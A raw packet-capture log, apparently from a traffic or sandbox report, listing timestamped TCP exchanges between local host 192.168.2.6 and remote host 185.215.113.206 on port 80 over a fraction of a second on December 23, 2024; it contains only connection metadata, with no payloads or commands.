Dec 23, 2024 06:53:55.666872978 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.666922092 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.666959047 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.668850899 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.668899059 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.668973923 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.669017076 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.670907021 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.670955896 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.670996904 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.671041012 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.672936916 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.672982931 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.673052073 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.673095942 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.674977064 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.675024986 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.675085068 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.675153971 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.677010059 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.677057981 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.677117109 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.677172899 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.679080009 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.679131031 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.679155111 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.679197073 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.681101084 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.681149960 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.681196928 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.681240082 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.683146954 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.683191061 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.683249950 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.683291912 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.685197115 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.685241938 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.685297012 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.685342073 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.687244892 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.687293053 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.687356949 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.687402010 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.689249039 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.689297915 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.689347029 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.689389944 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.691322088 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.691369057 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.691395044 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.691436052 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.693361044 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.693408012 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.693435907 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.693481922 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.695426941 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.695477009 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.695503950 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.695540905 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.697428942 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.697484016 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.697526932 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.697570086 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.699470043 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.699529886 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.699580908 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.699626923 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.701503992 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.701587915 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.701596022 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.701627970 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.703536987 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.703610897 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.703664064 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.703715086 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.705590963 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.705646992 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.705708981 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.705760002 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.707628012 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.707679987 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.707698107 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.707736015 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.709736109 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.709748983 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.709793091 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.709805965 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.711683035 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.711731911 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.711787939 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.711827040 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.713747025 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.713798046 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.713820934 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.713859081 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.715776920 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.715831995 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.715884924 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.715925932 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.717828989 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.717880011 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.717926979 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.717968941 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.719856977 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.719907045 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.719942093 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.719983101 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.721983910 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.722074032 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.722100973 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.722142935 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.723985910 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.724066019 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.724086046 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.724145889 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.725975990 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.726018906 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.726085901 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.726125956 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.728019953 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.728058100 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.728127003 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.728163958 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.730057001 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.730106115 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.730169058 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.730210066 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.732093096 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.732145071 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.732213020 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.732259035 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.734186888 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.734235048 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.734301090 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.734344006 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.736183882 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.736234903 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.736252069 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.736287117 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.738240957 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.738344908 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.738358021 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.738398075 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.740258932 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.740314007 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.740338087 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.740376949 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.742286921 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.742338896 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.742402077 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.742444992 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.744407892 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.744460106 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.744508028 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.744546890 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.746386051 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.746431112 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.746454000 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.746500969 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.748409986 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.748454094 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.748527050 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.748565912 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.750456095 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.750518084 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.750566006 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.750602007 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.752626896 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.752664089 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.752686977 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.752696037 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.754524946 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.754580021 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.754661083 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.754704952 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.756608963 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.756660938 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.756680012 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.756717920 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.758618116 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.758681059 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.758738995 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.758785009 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.760659933 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.760701895 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.760742903 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.760781050 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.762686014 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.762736082 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.762870073 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.762909889 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.764729977 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.764785051 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.764836073 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.764887094 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.766762018 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.766808987 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.766856909 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.766895056 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.768817902 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.768870115 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.768944025 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.768987894 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.770837069 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.770884991 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.770936012 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.770972967 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.772794008 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.772850037 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.772921085 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.772965908 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.774780035 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.774822950 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.774914026 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.774960995 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.776634932 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.776732922 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.776752949 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.776892900 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.778480053 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.778521061 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.778592110 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.778641939 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.780323982 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.780370951 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.780437946 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.780481100 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.782119036 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.782165051 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.782212973 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.782255888 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.783871889 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.783916950 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.783997059 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.784152031 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.785613060 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.785660982 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.785732031 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.785825968 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.787343025 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.787389994 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.787466049 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.787508011 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.789057016 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.789119005 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.789228916 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.789294958 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.791378021 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.791428089 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.791496992 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.791538000 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.792439938 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.792483091 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.792503119 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.792538881 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.794019938 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.794074059 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.794126034 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.794168949 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.795675993 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.795722961 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.795790911 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.795835018 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.797259092 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.797306061 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.797386885 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.797429085 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.798823118 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.798873901 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.798947096 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.798989058 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.800574064 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.800621033 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.800673008 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.800719023 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.801984072 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.802030087 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.802092075 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.802140951 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.803514004 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.803560972 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.803631067 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.803673029 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.805033922 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.805075884 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.805138111 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.805186987 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.806561947 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.806607008 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.806629896 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.806674004 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.808154106 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.808199883 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.808257103 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.808300972 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.809658051 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.809669971 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.809700012 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.809716940 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.811259985 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.811273098 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.811309099 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.812443972 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.812493086 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.812571049 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.812613964 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.813906908 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.813954115 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.814032078 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.814073086 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.815356016 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.815412045 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.815464973 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.815507889 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.816868067 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.816915035 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.816943884 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.816978931 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.818440914 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.818495035 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.818542004 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.818579912 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.819760084 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.819808006 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.819869995 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.819912910 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.821381092 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.821392059 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.821428061 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.821448088 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.822426081 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.822472095 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.822525978 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.822567940 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.823836088 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.823879957 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.824080944 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.824121952 CET	49793	80	192.168.2.6	185.215.113.206
Dec 23, 2024 06:53:55.825314045 CET	80	49793	185.215.113.206	192.168.2.6
Dec 23, 2024 06:53:55.825364113 CET	49793	80	192.168.2.6	185.215.113.206
